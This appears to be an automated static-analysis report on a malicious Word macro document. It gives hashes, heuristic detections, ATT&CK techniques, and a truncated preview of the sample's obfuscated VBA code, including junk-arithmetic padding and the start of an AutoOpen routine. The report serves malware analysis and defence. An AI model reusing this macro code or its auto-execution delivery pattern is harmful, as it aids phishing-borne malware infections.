Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dacfc2496b0464d3…

MALICIOUS

Office (OLE)

250.6 KB Created: 2019-03-14 20:31:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: d3c9a012490692631b7fac820c5be693 SHA-1: 19b9abd76c2e73ffcb266a99a3089dcbc6e1231c SHA-256: dacfc2496b0464d3bc29d95c0cf3cf67560d631c769c7a0692d10edc384da835
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV and contains a VBA macro with an AutoOpen function, indicating it's designed to execute automatically upon opening. The heuristic 'OLE_VBA_PCODE_AUTOEXEC_EXEC' specifically points to the GetObject function being used for execution. While the VBA code is heavily obfuscated, the presence of an AutoOpen macro and the GetObject call strongly suggest the intent to download and execute a secondary payload, a common technique for malware delivery.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6895675-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6895675-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 65643 bytes
SHA-256: fc7d5eda4e084a14b5b51b92915417e1f769053ec83cda106f7e18d4592e0347
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "z1QAAQo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function AQDxAAk()
   If ocD1A4D = HUQZAX Then
         NA1oxBA = 554361585 * GAAAxGQ
         qU1wUUB = dD_AAAA - 698792739 + 777590765 + GAAACCQA * 507726365 / 374737812 + 103588121 / Chr(982838085 / CSng(591533824 + Round(JCXBXA))) + 418807935 * Log(rXDxADAo) - 24348915 - 438463101 + h_1QXDA * CLng(FoC1A1Q - Atn(fUAQcA / 578844023 / 498215604 + CwCAZC))
         uAcDZAQ = 722019255 * lcDAUUB
End If
   If LkxAAAG = UQ4AQAAx Then
         WcUAwUw = 780657462 * sxBDxA
         V1cABGw = Y_A4UAoC - 670880181 + 524188913 + aBCBZxUc * 235166917 / 410551870 + 993926928 / Chr(22542776 / CSng(96875843 + Round(ZGUx4A))) + 631054947 * Log(J4_DGA) - 351019788 - 272742505 + vUAXAABU * CLng(ZoZAAU - Atn(aUcoAA / 389975616 / 898885015 + QAAUDA))
         XZDDQAD = 724085957 * FG11AD
End If
   If cABBAB = mkBXABXk Then
         LQ_GUx = 874156968 * iAQXCU
         vBoQQDx = HwkGQ4Z - 788307726 + 298554501 + uBQGAAAC * 971143405 / 914287193 + 630225764 / Chr(480501242 / CSng(360006485 + Round(cDDUAA))) + 776415041 * Log(iwQkAAUA) - 887634697 - 164369999 + BXAAGDA * CLng(mQ_AAUA - Atn(TkQAxwD / 291086681 / 632989598 + w4X_CQA))
         oAoAUA_A = 878366526 * zAQQAQUA
End If
   If aDQXAUAc = wGxAGBC Then
         hXQBAAAX = 344067677 * pQZ4XA
         d4A_wA1 = lcDQBC - 380085407 + 481250729 + YA1ZD1A * 799517496 / 435024678 + 162162368 / Chr(424219047 / CSng(848476640 + Round(XAwBA1AA))) + 166038451 * Log(SDwC4kk) - 233134722 - 532067592 + ODAXAx * CLng(ooDUAAA - Atn(h_AkDxUC / 566286129 / 842010666 + P4DQwQ))
         coAX4A = 603680362 * wAB4D4AA
End If
   If PAAAQUD = DDxAcB_ Then
         BUBAwUDA = 587402444 * HGwQAQ
         iQxBAGA = MQxkAZDZ - 778105293 + 559422389 + YAkAAUUo * 244553452 / 485098912 + 426228522 / Chr(772469458 / CSng(41835702 + Round(BBQACkA))) + 563580181 * Log(IwAB1QcC) - 567742778 - 189010872 + VkAoU_AD * CLng(jADAcZ - Atn(qXAQQXAA / 960135499 / 937535998 + YDBkAGQA))
         qCGDBc = 480703898 * YQoDBBo
End If
   If MXADAc = bQUAGXAA Then
         TQAkQUAQ = 602512026 * hDxAAAo
         ZUADDB = O1ADUXG - 42467324 + 343980876 + kUUD_4o * 172335936 / 685351924 + 88152729 / Chr(539136019 / CSng(391764818 + Round(pUcCGAwB))) + 117722851 * Log(lcwADQ) - 802540459 - 689018974 + PDxDZZ * CLng(XAAwB4A - Atn(jDXkBo / 64953299 / 724179701 + AAAAUCG))
         zBAABk = 670779861 * ZA4DGGk
End If
   If fUG1www = dwwBcA Then
         tQQA_Q = 70485112 * pQAAAwUB
         TADQAXAk = mBZGBAA - 102711376 + 439453356 + i1QAUA * 861157225 / 823544849 + 16558329 / Chr(829631648 / CSng(4023308 + Round(KZQcooBA))) + 958392019 * Log(wxDUAX1k) - 357163569 - 770779506 + cDAAA1D * CLng(RZ_DQAXB - Atn(hQ4_UX_U / 843000277 / 538101657 + LACwAc))
         IoAXAQ4 = 60882598 * EBADAA
End If
   If aDAkwDQG = HAwcGZAA Then
         PDDCxA = 939608818 * S44CUQA
         jADcQA = X4ADA41X - 474074119 + 434197554 + FZAQDX * 204697818 / 526509723 + 798356989 / Chr(799444247 / CSng(204955026 + Round(J_ADA1UB))) + 145956775 * Log(wAUxAAC) - 355587503 - 905117198 + KZQABA * CLng(hUAQ_A - Atn(HkA1cX / 64478473 / 619793349 + JXABBk1))
         qBAUAA = 88181653 * uAwoD4Qw
End If
End Function
Sub autoopen()
On Error Resume Next
   If ocU4oGA_ = jkAAAC Then
         UAADc4A = 708727178 * KCD_AAQ
         nU4UoA = RoAkAGcG - 833435535 + 478957882 + noAkAA * 946852564 / 30364420 + 204085401 / Chr(785819855 / CSng(368662687 + Round(wDUAAB))) + 945141700 * Log(UBAUUAkA) - 500977260 - 319738619 + MAB_Q4 * CLng(ZBZcBAA - Atn(EA_AB_AX / 496449479 / 890617177 + V1A1wG_A))
         w_XABACB = 484198909 * uUUo4UAw
End If
   If QADBUA1 = tXQ_QAZD Then
         BCkGUX = 602933488 * OAwGx1o
         oADCcDX = q4BBAAAc - 416540413 + 188126701 + UAQQU4AZ * 518963508 / 162618353 + 902154686 / Chr(696889504 / CSng(125610511 + Round(ADCQZ
... (truncated)

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